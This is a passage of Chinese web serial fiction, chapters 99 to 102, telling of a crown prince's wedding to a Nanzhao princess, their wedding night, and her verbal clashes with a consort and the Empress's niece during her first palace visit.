德妃说的的确有道理,只要秦王顺利登上那一个位置,高家就是一人之下,到时候让晚意休了商户女重新选一个高门贵女也是一件很简单的事情。 “臣妇多谢娘娘提点,臣妇回去就着手操持。” 高家这个案子,大理寺耗尽心力也没有找到任何有用的线索,那些财务当真是凭空不见了一般。 沈安若则安心的准备嫁妆待嫁。 腊月二十六。 天元太子迎娶南诏凰仪公主为太子妃。 沈安若是从驿站出嫁的,随着她上了花轿,身后无数的嫁妆从驿站抬出来,浩浩荡荡,绵延数里,引得皇城百姓纷纷驻足围观,惊叹之声不绝于耳。 “天呐,这么多的嫁妆还是第一次见。” “也不用太惊讶,这可是太子殿下娶太子妃,排场可不得大吗?” “对对对,这可是太子殿下成亲,娶的还是南诏公主呢。” “唉,之前还听说了一些关于凰仪公主不太好的…………” 身边的人立即拉住她的衣袖提醒。 “你就是不想活了吗?凰仪公主是你敢议论的,之前私下里传言最凶的人可都没有什么好下场。” “再说,你看看太子殿下对凰仪公主的重视,只怕是有些不好的谣言是有人故意为之,我们普通人还是不要掺和了。” 嫁妆箱子上贴着的红纸金边,在冬日暖阳下闪烁着耀眼光芒,每一抬都沉甸甸的,仿佛承载着幸福的期许。 花轿内,沈安若头戴凤冠,身着霞帔,凤凰团扇下的面容虽被遮掩一半,那微微上扬的嘴角透露出内心的欢喜。 轻轻撩开花轿帘子。 只见周围的百姓都在拱手恭贺着。 “恭喜太子和太子妃,祝太子和太子妃白头偕老,永浴爱河。” “祝太子和太子妃,举案齐眉,儿孙满堂。” “祝太子和太子妃……………” 恭喜的声音四面八方而来。 商玄澈一脸的笑意,朝百姓拱手。 “多谢诸位父老乡亲。” 随即吩咐。 “苍术,请父老乡亲吃本宫与太子妃的喜糖。” 分给百姓的喜糖可是早就准备好的。 很快就有丫鬟提着篮子,将里面的喜糖抓出来,一把一把的朝百姓撒去。 迎亲的队伍在皇城绕了一圈,喜糖一路就没有断过,整个皇城的人都知道,太子妃就是太子心尖上的人。 终于花轿到了太子府。 太子府张灯结彩,红绸飘舞,一片喜庆洋洋之景。 商玄澈翻身下马,步伐急切又带着几分克制,走到花轿前,一脸喜意的轻轻抬手。 “若若,我扶你下轿。” 沈安若一只手持扇子,一只手缓缓从花轿里面伸出来。 商玄澈一脸笑意的伸手握住了她的手。 搀扶着沈安若下了轿子,二人相视一眼,并肩朝太子府走去。 府内,宾客云集,皆是朝中权贵与皇亲国戚。 他们看着这对新人,眼中或是有祝福,或是有别样的心思。 但商玄澈与沈安若全然不顾,在众人的注视下,缓缓走向正厅。 皇后坐在主位上。 看着并肩而来的新人忍不住眼眶泛红,太子终于成亲了,可是看了看身边空着的位置,可惜了,皇上都没有来见证太子的幸福。 身边的一个少女伸手扶着皇后的手臂,低头安抚。 “姑母,表哥终于成家了,开心一些,那些不开心的事情就别想了。” 说话的正是李家的嫡出小姐李清舒。 皇后微微点了点头,伸手握住李清舒的手。 “好,不想了,今日是你表哥大喜的日子,本宫应该高兴才是。” 李清舒站稳了身子,抬头看着沈安若手持团扇半遮面,与太子拉着红绸走来。 这就是表哥的妻子吗? 原本以为表哥会娶顾家的那一位,自己为了表哥的前途,更不想让姑母为难,这才回了老家,没想到表哥最后居然娶了一个南诏公主。 天元皇室的储君不可能从别国女子的肚子里爬出来,这是不是意味着自己才有资格生下表哥的嫡子,也就是未来的皇太孙。 行礼之时,商玄澈目光始终落在沈安若身上,那深情仿佛要将她融化。沈安若感受到他的目光,脸颊微微泛红,却也勇敢地回望,甚至露出一抹幸福的笑意。 “一拜天地——”司仪高声喊道。 二人转身,对着天地深深一拜,仿佛是在向这世间宣告他们的喜结连理。 “二拜高堂——” 商玄澈与沈安若又对着上座皇后行礼。 “夫妻对拜——” 这一声落下,商玄澈与沈安若相对而立,缓缓拜下。 那一刻,时间仿佛静止,周围的一切都变得模糊,商玄澈看着她的眼神都变得拉丝。 “礼成 ,送入洞房。” 商玄澈带着沈安若到了喜房。 媒婆在一旁喊着。 “新郎却扇……………” 商玄澈抬手拿掉了沈安若的扇子,今日的她美得不可方物。 商玄澈只觉眼前一亮,呼吸都为之一滞。 沈安若双颊绯红,眉眼间满是羞涩与甜蜜,一双水眸灵动闪烁,仿佛藏着万千星辰。 “若若。” 沈安若俏皮的眨了眨眼睛。 “怎么了?美到你了?” 商玄澈坐到她的身边,伸手揽着她。 “对,我的若若美到了我,不想出去敬酒了怎么办?” 沈安若凑上前在他的脸颊上亲了一口。 “好啦,敬酒还是要去的,母后也在呢,先去招待宾客,我等你。” 商玄澈听了凑过去,亲了亲她嫣红的唇瓣。 “好,我让人给你准备了吃的,你先吃着,不要饿到了自己,头上的这些首饰也可以拆掉,这么重戴着太累了。” 沈安若乖巧的点了点头。 “好,我知道的。” 商玄澈这才又亲了她一下,起身出去招待宾客。 玉儿已经端了饭菜上来。 “公主,不对,现在应该喊太子妃了,太子殿下对公主可贴心了,特意吩咐小厨房准备了南诏的菜。” 王司记也在一旁开口。 “公主妾身刚刚可是看见了,太子殿下眼里都是公主,往后太子应该会爱重殿下的。” 沈安若看着桌子上南诏的饭菜,这些日子在太子府,商玄澈的确是处处贴心,甚至时常陪着自己吃南诏的菜。 可是沈安若很快眉头微皱。 “姨母,今日皇上没有来对吗?” 王司记点了点头。 “只有皇后娘娘来了。” 沈安若听了嘴角扯出一抹讥讽的笑意。 “呵,自己的儿子成亲都不来,这得多不喜欢。” 前院。 今日乃是大喜的日子,商玄澈放下储君的身份,像寻常人家成亲那般给亲朋好友敬酒。 不过到底他是储君,也没有人敢灌他的酒,只有秦王站起来。 “太子殿下,这一杯臣弟敬你,祝贺你和凰仪公主白头偕老。” 商玄澈端着杯子与他碰杯。 “秦王,本宫与凰仪公主已经拜了天地,往后你也要改口称呼她一声皇嫂才是,不然会让人觉得皇家没有礼仪可言。” 作者有话说(洞房花烛夜,你们期待吗?期待的话给澈儿和若若上票票呀) 第九十九章 洞房花烛夜 秦王面色一僵,随即很快又恢复如常,脸上堆起虚伪的笑意,道。 “皇兄说的是,是臣弟疏忽了,臣弟在此向皇嫂赔罪,祝皇兄与皇嫂琴瑟和鸣,早生贵子。” 说罢,一饮而尽杯中酒。 眼神眼里的狠意却一闪而过。 商玄澈你尽管得意,只要是你的,迟早是我的,等我成为这天元的君主,即便她是你的妻子又如何,我照样让她进后宫伺候。 商玄澈喝了一口酒,身边另外一个人上来敬酒。 “殿下,祝福你和太子妃琴瑟和鸣。” 商玄澈端酒开口。 “多谢周大人。” 喝酒的时候却看着坐下一脸不悦的秦王。 二人视线交错。 那种压迫感,让秦王又急忙避开了他的眼神。 转了一圈以后。 商玄澈在主桌坐下。 皇后看着儿子终于过来,一脸笑意的开口。 “澈儿,快坐下吃一些菜,你这一个劲的喝酒不行,空腹喝酒会难受的。” 商玄澈微微颔首,脸上带着温和的笑意,坐下来轻声说道。 “母后放心,儿臣心中有数。” 一旁的李清舒抬手给商玄澈夹菜。 “表哥,恭喜你今日大喜,这道菜味道不错,表哥你吃上一些,垫了垫肚子,以免酒多伤身。” 商玄澈看了一眼碗里的菜,客气的开口。 “清舒表妹说的是,多谢提醒。” 然后伸手去夹菜。 李清舒夹的菜却始没有碰。 李清舒见状,拿着筷子的手紧了紧。 “表哥,原本你与顾姐姐青梅竹马,没想到阴差阳错娶了南诏公主,也好在这南诏公主长的还算貌美,希望她以后能够照顾好表哥,不然这桩婚事于表哥而言当真是如同鸡肋了。” 商玄澈的脸色一下子就冷了几分,目光缓缓地看向李清舒,带着冷冽。 李清舒不由得感觉到了紧张。 “表哥……………” 商玄澈清冷的声音缓缓响起。 “清舒,她是我的妻子,你既然唤我一声表哥,那就应该对我的妻子尊之,敬之。” 李清舒只感觉脸上一烫。 “表哥,我只是关心你!” 商玄澈看着她眼里没有半分温度。 “我与她乃是夫妻,自然会相互照顾扶持,太子府的事情由太子妃操心,就不劳烦清舒操心了,表妹刚刚归家,也有一些日子不在舅母身边,往后还是多在舅母身边尽孝吧。” 言下之意管好自己的事情,李清舒脸色一下子苍白了几分,表哥居然如此的维护她。 皇后在一旁见状,缓缓开口。 “澈儿,你的表妹也是好心,你又何必如此疾言令色的?” “你们是自小长大的,你在边关那几年,也是清舒这替你在母后的身边尽孝,你今日这般,倒显得有些不近人情了。” 皇后轻嗔,语气中却带着几分对李清舒的维护。 商玄澈听了看着皇后开口。 “母后,儿臣明白清舒表妹的好意,只是夫妻之道,在于相互尊重与扶持。儿臣与太子妃既已结为连理,自当同心同德,共度风雨。表妹对母后的孝心儿臣感激不尽,但有些界限,还需分明。” 李清舒闻言,眼眶微红,强忍着泪水,很快勉强挤出一丝笑容,端起酒杯。 “表哥说得对,是清舒逾矩了。” “清舒敬一表哥杯,祝表哥表嫂幸福美满。” 到底是舅舅得女儿,商玄澈也不好做的太过,抬手喝了酒这事也就算是过去了。 商玄澈起身,继续去与宾客寒暄。 李清舒看着他一脸喜意的接受宾客的恭贺,勉强夹起几口菜,却味同嚼蜡。 “姑母,看来表哥很在乎这个南诏公主。” 皇后听了凑近她一些,低声安抚。 “现在刚刚成亲,对方又是和亲公主,哪怕是为了两国的和平,你表哥自然也会上心一些,等到往后时间久了,这股新鲜劲过去了,你表哥便会知道,还是李家的女儿才适合当他的贤内助。” 李清舒又看了看人群里的商玄澈。 “清舒自小就被家里教导,往后要以表哥和李家利益为先,清舒的婚事自然是姑母和父亲做主,只是清舒也听说了,凰仪公主是一个性子刚烈的,清舒与姑母又向来亲近,也不知道会不会惹公主不快。” 想到沈安若一进宫就害得自己的儿子被鞭笞,皇后眼里闪过一抹不悦。 “即便她是和亲公主,可是她已经嫁入了天元,那就是天元的媳妇,她若是懂进退,知道收敛一下自己的性子,将太子照顾好,本宫也会给她几分薄面,可她要是仗着自己公主的身份嚣张跋扈,本宫可是她的婆母,总要教一教他什么叫做规矩,什么叫做体统的。” 听到姑母如此说,李清舒心里总算是松了一口气。 “也是,不管她在南诏如何的性子,她做了姑母的儿媳妇,就应该聆听姑母的教导,好好的学一学怎么样当一个贤惠的妻子?往后不给表哥招惹麻烦。” 皇后伸手拉起李清舒的手拍了拍。 “清舒,你放心,在姑母的心里,只认你这个儿媳妇,你岂安心,太子府迟早都要交给你来打理的。” 喜房里。 沈安若已经拆下了头饰,梳洗完毕。 一身红色的吊带睡裙长及小腿处,外面罩了一件外衫,雪白的柔软若隐若现,玉儿几人看得一脸惊呆了。 “公主,你这还不把人迷死了。” 王司记则打量着开口。 “公主,你这睡裙妾身从未见过。” 沈安若听了缓缓开口。 “这是本宫闲暇的时候自己做的,你们肯定没有见过。” 翡儿更是在一旁开口道。 “公主,你这也太美了,奴婢都不敢想,等一下太子回来,看到公主的时候,只怕是要……………” 沈安若怪嗔的看了翡儿一眼。 “你这丫头,本宫最近是太惯着你了是吧,太子你都敢非议了?” 翡儿急忙福身,脸上却还是带着一抹笑意。 “是奴婢失言了。” 可却与玉儿交换着眼神。 就公主这样,指不定给太子迷成什么样呢。 沈安若则看着镜子里的自己,脸上勾起一抹笑意,这可是自己按照现代的蕾丝睡裙改造的,绝对给人眼前一亮的感觉。 新婚之夜嘛,总要新颖一些才是。 商玄澈走进来,就看到了沈安若一身睡衣的模样,玉儿几人正要行礼。 商玄澈已经示意几人噤声,让她们退下。 然后放轻脚步朝沈安若走去。 沈安若把玩着自己的一缕头发。 “王司记,你说本宫这身衣服,会不会有一些不得体了?” 商玄澈从她身后伸手搂住她的腰,将头靠在她的肩膀上。 “没有不得体,美极了。” 沈安若惊讶了一下。 “宴会这么快就结束了吗?” 她的头发带着淡淡的香味,商玄澈忍不住凑近她的脸庞,说话的热气扑在她的脸上。 “我与他们寒暄一阵以后边让苍术扶我回来了,跟他们一群心思各异的人喝酒,岂不是浪费了我们的时间?” 沈安若伸手握住他放在自己腰间的时候,微微偏头贴着他的脸。 “所以堂堂天元太子殿下居然装醉。” 商玄澈亲吻了一下他的脸颊。 “春宵一刻值千金,难道若若不想早一点见到我吗?” 沈安若闻言抿了抿唇没有说话,商玄澈看着她殷红的唇瓣,扶着她转过身子,揽着她的腰,低头吻了上去。 第一百章 不服就干 沈安若的睫毛轻颤,在烛火的映照下投下一片温柔的阴影,她缓缓闭上眼,回应着这个带着几分霸道与深情的吻。 商玄澈的吻如同他的人一般,看似清冷,实则炽热,他一点点地探索着,仿佛要将她彻底融入自己的骨血之中。 良久,唇分,两人的气息都有些紊乱。 沈安若脸颊绯红,如同天边绚烂的晚霞,她微微喘息着,一双美目含情。 商玄澈见状只感觉下腹一惹,低沉压抑的声音响起。 “若若。” 然后将沈安若打横抱起,朝不远处的大床走去。 床上放满了花生,桂圆,大枣,瓜子等代表着早生贵子的吉祥物品。 商玄澈一只手搂住沈安若,一只手抬手将床上的被子一撤。 大枣,花生,桂圆,瓜子洒落了一地。 沈安若也落在了柔软的床上。 商玄澈欺身压了上去,准确的吻住了她的唇瓣。 迫不及待的占有让他们唇齿相依,呼吸交错。 随着床幔落下,商玄澈的一身喜服丢了出来,很快沈安若那身别致的睡衣也被丢了出来。 喜房里的红烛高燃,倒影着床上缠绕的声音。 十指相扣。 耳畔厮磨。 适度轻咬。 抵死纠缠。 地上叠在一起的喜服与红色睡衣,还有若有若无的娇声求饶都在诉说着这场战事的激烈。 屋外。 寒风凛冽。 苍术与剑兰站在院子里。 二人都是习武之人,屋里的动静总是跑进了耳朵里。 剑兰忍不住脸红。 苍术摸了摸鼻尖,偏头看着剑兰。 “主子洞房花烛夜 ,你脸红什么?” 剑兰抬头看了他一眼。 “要你管?” 说完又看了一眼苍术。 “说的好像你没有脸红一样,哦,有的人连耳朵都红了。” 一夜过去。 不用说,沈安若第二天差一点起不来。 可是要进宫请安,毕竟又不能给人落下话柄。 迷迷糊糊的坐在梳妆台前。 任由玉儿给自己装扮。 商玄澈已经换好了衣服坐在不远处,看着她迷糊的样子。 “若若,要不再睡一会?我派人进宫给母后说一声…………” 沈安若抬眉瞟了他一眼。 “还不是都怪你!” “要不是你,我能起不来吗?” 然后又看了一眼玉儿。 “玉儿,装扮快一些。” “王司记,把给皇上皇后准备的礼物检查一下。” 又看了一眼商玄澈。 “就算皇后那里可以派人说一声,那皇上那里呢?” 说完,怂拉着眼皮。 “还是快些准备进宫吧。” 见她实在迷糊的不行,玉儿一边给她化妆,一边开口。 “太子妃,听八卦吗?” “很大的一个八卦。” 沈安若眼睛一下子亮了。 “什么八卦?” 玉儿继续给她梳头。 “昨日除了是你与太子殿下这一桩大喜事以外,这皇城还有另外一桩喜事。” 沈安若眼里又有了一抹失望。 “这算什么八卦?腊月二十六属于成亲的大好日子,成亲的人多了去了。” 玉儿看着她这样,无奈的笑了笑,一边将她的头发挽起来,一边继续开口。 “太子妃,这桩喜事可不一般了,丞相府的嫡出公子娶了一个商贾之女。” 沈安若听了神色微动。 “高家的?” 玉儿点了点头。 “对啊,这天元也只有高家一个丞相府啊。” “丞相府以婚妻与太子殿下的婚期撞上为理由,据说只是简单的摆了几桌宴席,都没有宴请朝中的官员。” 沈安若的眉头轻轻蹙起,丞相府高家,向来以门第高贵自居,其嫡出公子的婚事本应是京城中一大盛事,如今却如此低调处理,这其中只怕有许多的深意。 忽然想起来高家库房的事,商贾之女,看来这是想找一个人来填补高家的亏空啊。 也不知道是哪个倒霉的女子被他们家盯上了。 “去打听一下高公子与少夫人是怎么相识的。” 商玄澈在一旁开口。 “可是又怎么不妥?” 沈安若缓缓开口。 “高家库房被烧,大理寺也一直没有破案,前些日子可是听说了,高家有些拮据,现在看来他们家是利用婚事算计另外一个女子的嫁妆了,但愿高家还有一点人性,知道对那个女子好一些。” 高家的火是怎么回事商玄澈是知道的,忍不住看了看沈安若。 她做事果断,可是却心底里藏着善意。 “我会派人留意的,你别担心。” “婚事这般仓促,那个女子选择嫁入高家,恐怕也是看重高家门第,二者各取所需罢了。” 沈安若沉思片刻。 “依高家人的性子,怕的是这庄婚事不是各取所需,而是一场算计,商贾人家再有心计,也比不上高家这样的城府。” 此时沈安若也收拾好了。 她身着一袭华丽的紫色宫装,精致的妆容更衬得她容颜绝美,只是眼神中仍带着一丝未消散的慵懒与倦意。 翡儿拿过紫色斗篷给她披上。 商玄澈起身走到她身旁,伸手先替她将斗篷系好,目光忍不住落在她的脸上,眼里带着一抹柔情,轻轻牵起她的手。 “走吧,我们先进宫请安,你若是担心那个女子,往后照佛一二便可。” 两人携手走出府门,登上马车,朝着皇宫的方向驶去。 太子府到皇宫的距离不短,沈安若靠在商玄澈的肩膀上闭目养神。 商玄澈伸手揽着她,预防马车颠簸磕碰到她。 到了皇宫里,沈安若才感觉有了一点精神,果然抓住机会就补觉是没错的。 商玄澈先下了车,而后小心翼翼地将沈安若扶了下来。 两人并肩而行,穿过一道道宫门,来到了凤仪宫。 皇后已经在凤仪宫的主位上坐着了,面色上端着端庄的笑意,但是眉眼间也有一抹不耐烦。 下首坐着许多嫔妃,李清舒也在皇后的身边候着。 德妃笑着开口。 “皇后娘娘,今日可是你这新儿媳妇给你请安的日子,我们可都在这里陪着娘娘等了许久了,这新媳妇如此姗姗来迟,可见是没有把娘娘你这个婆母放在眼里啊。” 忽然一道声音响起。 “有些时间没有见德妃娘娘了,没想到德妃娘娘如此的惦记本宫。” 伺候的宫女太监急忙行礼。 “见过太子殿下,见过太子妃娘娘。” 商玄澈与沈安若上前。 “儿臣见过母后。” “见过皇后娘娘。” 商玄澈看着这一屋子的人,忍不住微微皱眉,不是来给陛下和母后敬茶吗?怎么有这么多嫔妃在? 皇后看着二人打量了一眼。 “澈儿,你父皇公务繁忙,你去御书房给他请安吧,让太子妃留在母后这里,陪我们这些长辈说说话。” 商玄澈听了目光看向沈安若。 沈安若低声开口。 “去吧,我会照顾好自己。” 商玄澈抓住她的手腕。 “不必委屈自己,真要惹母后不高兴了,交给我处理。” 然后才朝皇后拱手。 “母后,儿臣去给父皇请安。” 太子离开。 德妃看着沈安若,眼里闪过一抹恨意,这女人命也太好了一些,有了之前的谣言,太子居然对她还是如此温柔,一个残花败柳,一个被父亲厌恶的弃子,还当真是绝配。 “太子对太子妃还真是温柔体贴,本宫刚刚可是看到了,太子生怕太子妃在皇后娘娘这里受欺负……………” 还真是一大早的就给人寻找晦气,沈安若抬头看着德妃,嘴角勾起一抹笑意,眼里却带着几分嘲讽。 “德妃娘娘这话本宫听得糊涂了,今日是本宫身为儿媳第一次给皇后娘娘请安,皇后娘娘与本宫现在还什么都没有说呢,德妃娘娘就如此断定本宫会受欺负,所以是天元的婆母在新婚第二天都会给儿媳妇下马威吗?” 随即抬头看了一眼皇后。 “可是皇后娘娘看本宫满是慈爱之意,本宫相信一定不会不明是非的刁难本宫的,倒是德妃娘娘,一早就挑拨离间,言语间都是告诉本宫媳妇不好当,德妃娘娘这般严厉,德妃娘娘的儿媳妇可真可怜,毕竟遇上了一个不讲理爱磋磨媳妇的恶婆母,这一辈子的日子可就很难熬了。” 作者有话说(论怼人还得是咱们若若,不服就干,宝子们,给若若上票,看她接下来怼死绿茶女) 第一百零一章 商玄澈小苦瓜 德妃脸色一变,这个沈安若还真是一如既往的牙尖嘴利,成了亲也不知道安分守己。 “你胡说,本宫才没有…………” 德妃气得忍不住咬牙。 “你这是在偷换概念,太子妃,即便你当南诏公主的时候性子乖张,缺乏管教,如今,你已当了皇家的媳妇了,如此对长辈说话,就不怕别人说太子妃是一个冲撞长辈没有教养的人吗?” 跟在沈安若身后的王司记开口了。 “德妃娘娘这话让人听得好生的糊涂,太子妃的长辈不是在上面坐着吗?这屋子里这么多的人也看到了,太子妃一进来就恭恭敬敬的给皇后娘娘行礼了,何来冲撞一说?” 沈安若说话不知分寸就罢,一个奴才也敢在自己的面前耀武扬威,简直就是无法无天了,德妃一巴掌拍在桌子上。 “放肆。” “来人,给本宫掌嘴。” 还真是嚣张跋扈惯了,沈安若抬手挡在王司记得身前,目光看着德妃,不怒自威。 “本宫看谁敢!” “谁要敢动本宫的人,本宫就废了她的手。” 德妃怒声呵斥。 “太子妃就是这么纵容自己身边的贱婢冲撞皇宫里的妃嫔的吗?” 沈安若看着德妃露出一抹讽刺的笑意。 “德妃娘娘,这里可是凤仪宫,身为嫔妃,在皇后的面前大呼小叫,还想将手伸到太子府里,就是不知是谁纵容的德妃娘娘?” 德妃闻言语言一塞,随即将目光看向了皇后。 “皇后娘娘,你这儿媳妇不愧是从南诏来的公主,性子比起天元的女子就是过于刚烈了一些,皇后娘娘往后只怕是要费心教导才是,在外若是如此冲撞长辈,还是丢的皇后娘娘的脸。” 其中一个妃嫔也开口道。 “是啊,皇后娘娘,德妃娘娘也是好心的,提醒太子妃,太子妃却对长辈如此的疾言厉色,这性子还是得收敛一些,天元的女子以端慧柔顺为主,太子妃如此行事,怕是有失皇家体面。” 皇后端坐在凤椅之上,眼神平静却透着不容忽视的威严,看着沈安若一次次怼了德妃,她这张嘴倒是厉害的,轻轻放下手中的茶盏,瓷器与桌面相碰发出清脆的声响,让殿内瞬间安静了几分。 “德妃,还有诸位妹妹,今日不过是闲话家常,怎的就闹成了这般模样。” 皇后声音温和,却带着几分冷意。 “太子妃初来乍到,许多规矩还在慢慢学,诸位作为长辈,理应多些包容与引导才是。再者,王司记身为太子妃身边的司记,忠心护主,其情可悯,德妃在凤仪宫如此动怒,倒显得失了分寸。” 德妃脸色一阵青一阵白,这皇后今日居然长脑子了,胆子也大了,居然敢教训自己了。 “臣妾也不过是好心提醒,既然皇后娘娘这个婆母都不介意,臣妾就不瞎操心了。” 倒是难得看到德妃低头,皇后正要说什么,李清舒在一旁开口,一开口,一脸温和的笑意。 “姑母,该让太子妃敬茶了,不能让太子妃一直站着啊,不然等一下表哥会心疼的。” 李清舒这番话看似体贴,实则暗藏机锋。 她故意提及“表哥会心疼”,这是要让皇后觉得太子对太子妃过于宠爱呢。 沈安若不动声色的看了一眼李清舒,喊太子表哥,皇后姑母,李家的人。 皇后对胡嬷嬷使了一个眼神。 胡嬷嬷很快端上一杯茶。 “太子妃娘娘,给皇后娘娘敬茶吧,您该改口了。” 沈安若接过茶盏,稳步走向皇后,深深鞠躬,双手奉上茶盏,声音清晰而恭敬。 “母后,请用茶。” 皇后微笑着接过茶,轻轻品了一口,然后放下,又从宫女的手里接过了一个红包,放在了托盘上。 原本一早准备了许多的话要叮嘱,可是想到了沈安若刚刚怼德妃的样子,新婚第二天给儿媳妇下马威是恶婆母,皇后只好说了几句寻常叮嘱的话。 “太子妃,从此你便是皇家的人,要恪守皇家规矩,与太子齐心,为皇家开枝散叶。” 沈安若恭敬地回答。 “是,谨遵母后教诲。” 李清舒看着这一幕,眼中闪过一丝不易察觉的冷意,姑母居然就这么放过她了。 皇后看着沈安若。 “坐下说话吧。” 沈安若笑着开口。 “多谢母后。” 然后在一旁坐下。 看来今日是没办法挑拨皇后与沈安若的关系了,德妃起身敷衍的行一个礼。 “皇后娘娘,原本今日请完安以后就不应该打扰皇后娘娘的,只不过姐妹们都想见一见太子妃,臣妾也跟着留了下来,现在也见到太子妃了,果然太子妃还是一如既往的特别,妾身就告退了。” 随着德妃起身告辞,与德妃交好的妃子也都陆续起身告辞。 “皇后娘娘,臣妾也该回去看着公主喝药了。” “皇后娘娘,妾身也告退,六皇子该回来背书了。” “皇后娘娘,臣妾宫里还有一些事情要处理,明日再来给皇后娘娘请安。” 这凤仪宫里的妃子就少了一半。 皇后见状开口道。 “大家也都散了吧,本宫留太子妃说说话。” 御书房。 商玄澈恭敬的跪下朝天元皇行礼。 “臣给陛下请安。” 天元皇继续看着手里的奏折。 没有说话。 御书房里面的气氛都压抑了起来。 商玄澈继续拱手。 “臣给陛下请安,昨日臣大婚,今日特来给陛下送喜糖,愿陛下沾一沾喜气,身子康健。” “太子妃给陛下准备了礼物,因为太子妃在给母后敬茶,臣特意替太子妃将礼物送过来。” 随即接过苍术递过来的盒子,打开,双手举起奉上。 盒子里面是一些糖果,然后中间有一个小盒子,里面躺着一枚别致的玉佩。 天元皇这才抬头。 看了商玄澈一眼。 然后缓缓起身,走到商玄澈身前,居高临下的看着喜糖,还有盒子里的玉佩。 “你这怨朕没有去你的婚宴?” “所以今日特意来送喜糖提醒朕这个父亲不尽责吗?” 商玄澈眼眶微红,恭敬的低头,手里举着盒子。 “臣不敢。” 天元皇厉声开口。 “是不敢,不是不会对吧?” 商玄澈只感觉心里一痛。 “陛下,这枚玉佩是南诏皇室的一块玉石,太子妃特意安排人打造了一对,送给陛下和母后的,臣无用,讨不了陛下喜欢,可太子妃一片心意,还望陛下可以……………” 天元皇抬手一挥。 “啪” 盒子掉在地上。 喜糖洒落一地。 小盒子里的玉佩也掉落在地上,摔出一条明显的裂痕。 玉佩瑕疵,就好比商玄澈永远都修复不好的父子之情。 天元皇冰冷的声音响起。 “天元什么好东西没有?朕需要南诏的玉佩?” 商玄澈看着地上的玉佩。 眼里闪过一抹沉痛。 “是臣考虑不周,请陛下恕罪。” 第一百零二章 不需要别人撑腰 凤仪宫。 李清舒上前福身行礼。 “清舒见过表嫂。” 皇后笑着开口。 “安若啊,这是本宫的娘家侄女,从小与太子青梅竹马长大的,往后你们就是一家人了,姐妹之间要和睦相处才是。” 沈安若端着茶杯的手微微一顿,一家人,青梅竹马,表妹,这些词义组合起来,就感觉哪里怪怪的,脸上还是露出了一抹笑意。 “原来是清舒表妹啊,早有耳闻,今日一见,果然气质出众,清丽脱俗。” 沈安若放下茶杯,眼神中带着几分审视,语气却温和有礼。 李清舒闻言,脸上闪过一丝得意的笑意,随即又恢复了那副温婉的模样,轻声说道。 “表嫂过奖了,清舒不过是寻常女子,哪能与表嫂这位南诏公主相提并论。表嫂风华绝代,想必与表哥定是琴瑟和鸣,令人羡慕。” 沈安若可没有错过她提到表哥二字时,眼里那一抹目光,脸上露出了一抹幸福的笑意,甚至眉眼间都带着几分妩媚。 “太子对本宫的确是极好的,昨夜还在跟本宫说能够娶到本宫是前世积德了,往后一定会视本宫为珍宝,捧在手心。” 这个贱人,这是在给自己炫耀,李清舒紧紧的掐住了手心,勉强的挤出一抹笑意。 “那还真是要恭喜表嫂了。” 随即话峰回路转,目光看了看皇后。 “表哥如此看重表嫂,想来表嫂一定会爱重表哥,也会孝敬姑母。” “姑母就表哥一个儿子,以往的时候,姑母总是跟清舒说想要一个女儿,现在姑母也算是如愿了。” 皇后在一旁笑着开口。 “你们一个是本宫的亲侄女,一个是本宫的儿媳妇,看见你们能够和睦相处,本宫这心里也欢喜。” 目光看向沈安若。 “安若啊,你这到了天元就匆匆忙忙与太子成亲了,对于天元的许多规矩礼仪都还不懂,甚至对于许多人际来往方式也不知,既然你与清舒相谈甚欢,今日就让清舒陪着你到太子府小住吧,帮衬你打理着太子府。” 沈安若脸上的笑意并未减少半分,但是眼里却闪过了一抹冷意,商玄澈的这个母亲多少有些拎不清啊,儿子儿媳妇新婚的第二天,让自己娘家的侄女去府上小住,这算盘打的多少有点恶心人了。 “所以清舒对太子府很熟悉?” 沈安若这话问得巧妙,既未直接拒绝皇后的提议,又以一种看似不经意的姿态,将问题抛回给了对方,同时暗含了对李清舒与太子府关系的微妙质疑。 皇后闻言,笑容微微一滞,随即又恢复了常态,似乎并未察觉到沈安若话中的深意,又或是故意装作不知。 “清舒自幼与太子一同长大,对太子府自然不陌生。再者,她心思细腻,行事周全,有她在你身边帮衬你,本宫也能放心些。” 李清舒见状,心中暗喜,面上却是一副谦逊有礼的模样,轻轻福身道。 “姑母谬赞了,清舒不过是略尽绵薄之力,若能帮到表哥和表嫂,便是清舒的福分。” 沈安若心中冷笑,面上却是不动声色,轻轻抿了一口茶,道。 “母后如此安排,自是极好的,也是辛苦表妹了,只是表妹现下可有亲事了?” 她是真的听不懂姑母的意思吗?李清舒愣了一下。 “表嫂,清舒还未定下婚事。” 沈安若一脸笑意的看了看皇后,甚至语气带着几分撒娇的意味。 “母后,我知道你疼我,想让表妹帮衬我,可是你这番好意怕是要让表妹为难了,清舒表妹毕竟未出阁,若长久住在太子府,恐怕会引来不必要的闲言碎语,对表妹的名声不利,这往后若是耽误了亲事可如何是好?” 皇后听了沈安若的话,脸上的笑容略显僵硬。 “安若,母后也是担心你对天元不熟悉,怕你日后行走被别人欺负了去,这才想着让清舒去太子府小住,你这孩子怎么就听不明白母后的意思呢?” 李清舒也急忙开口道。 “表嫂,天元皇城满是勋贵,我与姑母也是担心表嫂你这与那些夫人小姐交际的时候无人撑腰吃了亏。” 沈安若闻言嘴角勾起一抹冷笑。 然后一脸懵懂的开口。 “啊?” “撑腰?” “本宫的腰不是好好的吗?为什么要别人替我撑着?” “王司记,你快帮本宫看看,本宫的腰怎么了?” 王司记实在是憋不住嘴角有了一抹笑意,可又觉得实在是太失态,连忙用手帕挡了挡,这才打量了一下沈安若的腰。 “太子妃放心,你的腰好着呢,不需要别人替你撑着。” 此时一道声音响起。 “这是在说什么?” 只见商玄澈正大步流星的走进来。 宽肩窄腰,这身段,难怪这么多人惦记,沈安若脸上带着娇俏的笑意,起身朝太子走去。 “玄澈哥哥,刚刚清舒表妹说我与皇城这些贵妇人打交道的时候要是无人撑腰会被欺负的,我正在喊王司记给我看腰呢,奇怪了,我的腰好好的,为什么需要别人给我撑着。” 皇后坐在凤椅上,忍不住嘴角抽了抽。 这个沈安若当真是揣着明白装糊涂。 玄澈哥哥,她可从未这样喊过自己,看着她朝自己眨了眨眼睛,甚至双手还抓住自己的手臂,一副撒娇的模样,商玄澈伸手搂过她的腰。 “我的若若的确不需要别人撑腰,因为若若的腰很好。” 沈安若的嘴角忍不住抽了抽,这话咋感觉………… 李清舒在一旁朝商玄澈福身。 “清舒见过表哥。” “表哥你不要误会,姑母就是怕表嫂在外面受欺负,这才让我护着一些,没想到表嫂误会了。” 商玄澈听了揽着沈安若的腰。 “本宫的人,本宫自己会护着,不劳烦李小姐操心了。” 然后朝皇后拱手。 